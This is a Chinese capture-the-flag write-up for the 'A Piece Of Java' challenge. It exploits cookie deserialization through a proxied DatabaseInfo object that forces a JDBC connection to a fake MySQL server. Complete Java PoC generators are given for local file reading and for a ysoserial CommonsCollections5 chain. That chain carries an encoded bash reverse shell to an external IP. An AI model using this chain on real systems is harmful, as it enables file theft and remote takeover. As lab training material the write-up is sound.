[羊城杯 2020]A Piece Of Java
解题步骤
下载源码,直接开审。
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
} else {
return "redirect:/index";
}
}
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
发现/hello
有反序列化。返回info类,且执行getAllInfo。
private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception var3) {
var3.printStackTrace();
}
}
public Boolean checkAllInfo() {
if (this.host != null && this.port != null && this.username != null && this.password != null) {
if (this.connection == null) {
this.connect();
}
return true;
} else {
return false;
}
}
在DatabaseInfo里面,看到了jdbc,想办法利用,在checkAllInfo里面用到了connect。
public Object invoke(Object proxy, Method method, Object[] args) {
try {
return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
然后在InfoInvocationHandler里面有调用getAllInfo。这里需要了解java的动态代理:https://www.jianshu.com/p/e575bba365f8
然后直接反序列化调用connect触发jdbc连接。利用方法:将DatabaseInfo封装到Proxy类里面,反序列化的时候触发invoke,从而进行jdbc连接,尝试一波任意文件读取。
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class test {
public static void main(String[] args) throws Exception{
DatabaseInfo obj = new DatabaseInfo();
obj.setHost("47.96.173.116");
obj.setPort("3306");
obj.setUsername("root");
obj.setPassword("root&allowLoadLocalInfile=true");
ClassLoader classLoader = obj.getClass().getClassLoader();
Class[] interfaces = obj.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(obj);
Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(proxy);
byte[] bytes = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(bytes));
}
}
需要加上配置allowLoadLocalInfile=true
才能读取文件。然后vps上起mysql-fake-server:https://github.com/fnmsd/MySQL_Fake_Server
然后发现没有/flag
读取,需要弹个shell。
在
BOOT-INF/classpath.idx
里面看到cc依赖,直接用ysoserial进行rce。可以用cc5链 poc:
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class poc {
public static void main(String[] args) throws Exception {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("47.96.173.116");
databaseInfo.setPort("3306");
databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}");
databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(proxy);
objectOutputStream.flush();
objectOutputStream.close();
System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
poc需要在gdufs/challenge/web/poc.java
下运行,然后在vps上配置好ysoserial。
除此之外,在http://www.jackson-t.ca/runtime-exec-payloads.html生成的反弹shell命令里面的base64需要url编码一下,防止+变成空格。